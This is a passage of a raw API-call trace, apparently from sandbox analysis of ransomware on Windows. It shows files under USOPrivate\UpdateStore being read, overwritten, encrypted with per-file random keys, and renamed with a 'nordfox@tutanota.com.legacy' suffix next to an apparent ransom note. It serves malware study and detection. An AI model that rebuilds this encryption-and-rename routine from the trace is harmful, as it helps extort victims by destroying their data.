Flags=0x0, Size=0x60) returned 0x5569e8 [0116.623] FindFirstFileW (in: lpFileName="\\Users\\All Users\\USOPrivate\\UpdateStore\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1931975, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd29f7380, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd30188cb, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5670d8 [0116.623] SetLastError (dwErrCode=0x12) [0116.623] GetLastError () returned 0x12 [0116.623] SetLastError (dwErrCode=0x12) [0116.623] GetLastError () returned 0x12 [0116.623] SetLastError (dwErrCode=0x12) [0116.624] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0116.624] FindNextFileW (in: hFindFile=0x5670d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1931975, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd29f7380, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd30188cb, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0116.624] SetLastError (dwErrCode=0x12) [0116.624] GetLastError () returned 0x12 [0116.624] SetLastError (dwErrCode=0x12) [0116.624] GetLastError () returned 0x12 [0116.624] SetLastError (dwErrCode=0x12) [0116.624] FindNextFileW (in: hFindFile=0x5670d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd30188cb, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd30188cb, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd30188cb, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0116.624] SetLastError (dwErrCode=0x12) [0116.624] GetLastError () returned 0x12 [0116.624] SetLastError (dwErrCode=0x12) [0116.624] GetLastError () returned 0x12 [0116.624] SetLastError (dwErrCode=0x12) [0116.624] FindNextFileW (in: hFindFile=0x5670d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc9086d4, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xdc9086d4, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xdc9086d4, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="UpdateCspStore.xml", cAlternateFileName="UPDATE~2.XML")) returned 1 [0116.624] SetLastError (dwErrCode=0x12) [0116.625] GetLastError () returned 0x12 [0116.625] SetLastError (dwErrCode=0x12) [0116.625] GetLastError () returned 0x12 [0116.625] SetLastError (dwErrCode=0x12) [0116.625] FindNextFileW (in: hFindFile=0x5670d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1957bdd, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xce4fa046, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd29d111d, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0xc3c, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml", cAlternateFileName="UPDATE~1.XML")) returned 1 [0116.625] SetLastError (dwErrCode=0x12) [0116.625] GetLastError () returned 0x12 [0116.625] SetLastError (dwErrCode=0x12) [0116.625] SetLastError (dwErrCode=0x12) [0116.625] FindNextFileW (in: hFindFile=0x5670d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1957bdd, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xce4fa046, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd29d111d, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0xc3c, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml", cAlternateFileName="UPDATE~1.XML")) returned 0 [0116.625] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3be8 | out: pbBuffer=0x5c3be8) returned 1 [0116.625] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0116.625] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOPrivate\\UpdateStore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml", dwFileAttributes=0x80) returned 1 [0116.626] CreateFileW (lpFileName="\\Users\\All Users\\USOPrivate\\UpdateStore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml" (normalized: "c:\\users\\all users\\usoprivate\\updatestore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x690 [0116.626] GetFileSizeEx (in: hFile=0x690, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=3132) returned 1 [0116.626] ReadFile (in: hFile=0x690, lpBuffer=0x2f40050, nNumberOfBytesToRead=0xc3c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f40050*, lpNumberOfBytesRead=0x2e1f9bc*=0xc3c, lpOverlapped=0x0) returned 1 [0116.627] SetFilePointer (in: hFile=0x690, lDistanceToMove=-3132, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.627] WriteFile (in: hFile=0x690, lpBuffer=0x582160*, nNumberOfBytesToWrite=0xc3c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x582160*, lpNumberOfBytesWritten=0x2e1f9bc*=0xc3c, lpOverlapped=0x0) returned 1 [0116.627] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f40050 | out: hHeap=0x520000) returned 1 [0116.627] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582160 | out: hHeap=0x520000) returned 1 [0116.627] SetFilePointer (in: hFile=0x690, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xc3c [0116.627] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0116.628] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3be8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3be8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0116.628] WriteFile (in: hFile=0x690, lpBuffer=0x5c3be8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3be8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0116.628] WriteFile (in: hFile=0x690, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0116.628] CloseHandle (hObject=0x690) returned 1 [0116.628] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3be8 | out: hHeap=0x520000) returned 1 [0116.628] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3538 | out: hHeap=0x520000) returned 1 [0116.629] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOPrivate\\UpdateStore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml" (normalized: "c:\\users\\all users\\usoprivate\\updatestore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml"), lpNewFileName="\\Users\\All Users\\USOPrivate\\UpdateStore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\usoprivate\\updatestore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0116.630] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563358 | out: hHeap=0x520000) returned 1 [0116.630] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8d68 | out: hHeap=0x520000) returned 1 [0116.630] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8a48 | out: hHeap=0x520000) returned 1 [0116.630] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0116.631] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3cf0 [0116.631] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0116.631] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3cf0 | out: pbBuffer=0x5c3cf0) returned 1 [0116.631] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0116.631] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOPrivate\\UpdateStore\\UpdateCspStore.xml", dwFileAttributes=0x80) returned 1 [0116.631] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0116.632] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55b148 [0116.632] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0116.632] CreateFileW (lpFileName="\\Users\\All Users\\USOPrivate\\UpdateStore\\UpdateCspStore.xml" (normalized: "c:\\users\\all users\\usoprivate\\updatestore\\updatecspstore.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x690 [0116.632] GetFileSizeEx (in: hFile=0x690, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=26) returned 1 [0116.632] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1a) returned 0x57d258 [0116.632] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1a) returned 0x57d1e0 [0116.632] ReadFile (in: hFile=0x690, lpBuffer=0x57d258, nNumberOfBytesToRead=0x1a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x57d258*, lpNumberOfBytesRead=0x2e1f9bc*=0x1a, lpOverlapped=0x0) returned 1 [0116.633] SetFilePointer (in: hFile=0x690, lDistanceToMove=-26, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.633] WriteFile (in: hFile=0x690, lpBuffer=0x57d1e0*, nNumberOfBytesToWrite=0x1a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x57d1e0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1a, lpOverlapped=0x0) returned 1 [0116.633] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d258 | out: hHeap=0x520000) returned 1 [0116.633] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0116.634] SetFilePointer (in: hFile=0x690, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1a [0116.634] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0116.634] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3cf0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3cf0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0116.634] WriteFile (in: hFile=0x690, lpBuffer=0x5c3cf0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3cf0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0116.635] WriteFile (in: hFile=0x690, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0116.635] CloseHandle (hObject=0x690) returned 1 [0116.635] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3cf0 | out: hHeap=0x520000) returned 1 [0116.635] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0116.635] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOPrivate\\UpdateStore\\UpdateCspStore.xml" (normalized: "c:\\users\\all users\\usoprivate\\updatestore\\updatecspstore.xml"), lpNewFileName="\\Users\\All Users\\USOPrivate\\UpdateStore\\UpdateCspStore.xml.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\usoprivate\\updatestore\\updatecspstore.xml.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0116.637] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55b148 | out: hHeap=0x520000) returned 1 [0116.637] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0116.637] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0116.637] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d138 [0116.637] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5569e8 | out: hHeap=0x520000) returned 1 [0116.637] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0116.637] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d280 | out: hHeap=0x520000) returned 1 [0116.637] FindFirstFileW (in: lpFileName="\\Users\\All Users\\USOShared\\Logs\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa4ade3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xab359e9a, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd30188cb, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x566f58 [0116.638] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0116.638] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0116.638] GetLastError () returned 0x0 [0116.638] SetLastError (dwErrCode=0x0) [0116.638] GetLastError () returned 0x0 [0116.638] SetLastError (dwErrCode=0x0) [0116.638] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0116.638] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0116.638] GetLastError () returned 0x0 [0116.638] SetLastError (dwErrCode=0x0) [0116.638] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0116.638] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d1e8 [0116.638] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d1e8 | out: hHeap=0x520000) returned 1 [0116.638] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0116.638] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x566d18 [0116.638] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566d18 | out: hHeap=0x520000) returned 1 [0116.639] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20090 [0116.639] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20090 | out: hHeap=0x520000) returned 1 [0116.639] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0116.639] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0116.639] FindNextFileW (in: hFindFile=0x566f58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa4ade3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xab359e9a, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd30188cb, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0116.639] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0116.639] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5781d0 [0116.639] GetLastError () returned 0x0 [0116.640] SetLastError (dwErrCode=0x0) [0116.640] GetLastError () returned 0x0 [0116.640] SetLastError (dwErrCode=0x0) [0116.640] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0116.640] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5781d0 | out: hHeap=0x520000) returned 1 [0116.640] GetLastError () returned 0x0 [0116.640] SetLastError (dwErrCode=0x0) [0116.640] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0116.640] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d608 [0116.640] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d608 | out: hHeap=0x520000) returned 1 [0116.640] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0116.640] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x566f98 [0116.640] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566f98 | out: hHeap=0x520000) returned 1 [0116.640] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20090 [0116.640] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20090 | out: hHeap=0x520000) returned 1 [0116.640] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0116.640] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0116.640] FindNextFileW (in: hFindFile=0x566f58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cf76e0, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x58d51fd9, ftLastAccessTime.dwHighDateTime=0x1d336de, ftLastWriteTime.dwLowDateTime=0x597705f5, ftLastWriteTime.dwHighDateTime=0x1d336de, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="NotificationUx.001.etl", cAlternateFileName="NOBE5B~1.ETL")) returned 1 [0116.640] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0116.640] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0116.641] GetLastError () returned 0x0 [0116.641] SetLastError (dwErrCode=0x0) [0116.641] GetLastError () returned 0x0 [0116.641] SetLastError (dwErrCode=0x0) [0116.641] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0116.641] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0116.641] GetLastError () returned 0x0 [0116.641] SetLastError (dwErrCode=0x0) [0116.641] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574c18 [0116.641] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574c18 | out: hHeap=0x520000) returned 1 [0116.641] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567490 [0116.641] FindNextFileW (in: hFindFile=0x566f58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cf76e0, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x7cf76e0, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0x852e502, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="NotificationUx.002.etl", cAlternateFileName="NOTIFI~2.ETL")) returned 1 [0116.641] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0116.641] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578188 [0116.641] GetLastError () returned 0x0 [0116.641] SetLastError (dwErrCode=0x0) [0116.641] GetLastError () returned 0x0 [0116.641] SetLastError (dwErrCode=0x0) [0116.642] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0116.642] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578188 | out: hHeap=0x520000) returned 1 [0116.642] GetLastError () returned 0x0 [0116.642] SetLastError (dwErrCode=0x0) [0116.642] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574c18 [0116.642] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574c18 | out: hHeap=0x520000) returned 1 [0116.642] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567940 [0116.642] FindNextFileW (in: hFindFile=0x566f58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x2d822f20, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x2efd472c, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="NotificationUxBroker.001.etl", cAlternateFileName="NO604C~1.ETL")) returned 1 [0116.642] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0116.642] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5783c8 [0116.642] GetLastError () returned 0x0 [0116.642] SetLastError (dwErrCode=0x0) [0116.642] GetLastError () returned 0x0 [0116.642] SetLastError (dwErrCode=0x0) [0116.642] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0116.642] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5783c8 | out: hHeap=0x520000) returned 1 [0116.642] GetLastError () returned 0x0 [0116.642] SetLastError (dwErrCode=0x0) [0116.642] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782f0 [0116.643] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782f0 | out: hHeap=0x520000) returned 1 [0116.643] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0116.643] FindNextFileW (in: hFindFile=0x566f58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xfe554d51, ftLastAccessTime.dwHighDateTime=0x1d3375a, ftLastWriteTime.dwLowDateTime=0xfe782447, ftLastWriteTime.dwHighDateTime=0x1d3375a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="NotificationUxBroker.002.etl", cAlternateFileName="NO8BA4~1.ETL")) returned 1 [0116.643] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0116.643] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782f0 [0116.643] GetLastError () returned 0x0 [0116.643] SetLastError (dwErrCode=0x0) [0116.643] GetLastError () returned 0x0 [0116.643] SetLastError (dwErrCode=0x0) [0116.643] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0116.643] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782f0 | out: hHeap=0x520000) returned 1 [0116.643] GetLastError () returned 0x0 [0116.643] SetLastError (dwErrCode=0x0) [0116.643] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578650 [0116.643] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578650 | out: hHeap=0x520000) returned 1 [0116.643] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0116.643] FindNextFileW (in: hFindFile=0x566f58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xfdf01be1, ftLastAccessTime.dwHighDateTime=0x1d336df, ftLastWriteTime.dwLowDateTime=0xfdfc06a7, ftLastWriteTime.dwHighDateTime=0x1d336df, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="NotificationUxBroker.003.etl", cAlternateFileName="NO3670~1.ETL")) returned 1 [0116.643] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0116.643] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0116.643] GetLastError () returned 0x0 [0116.643] SetLastError (dwErrCode=0x0) [0116.643] GetLastError () returned 0x0 [0116.644] SetLastError (dwErrCode=0x0) [0116.644] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0116.644] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0116.644] GetLastError () returned 0x0 [0116.644] SetLastError (dwErrCode=0x0) [0116.644] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782f0 [0116.644] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782f0 | out: hHeap=0x520000) returned 1 [0116.644] RtlAllocateHeap (HeapHandle=0x520000, 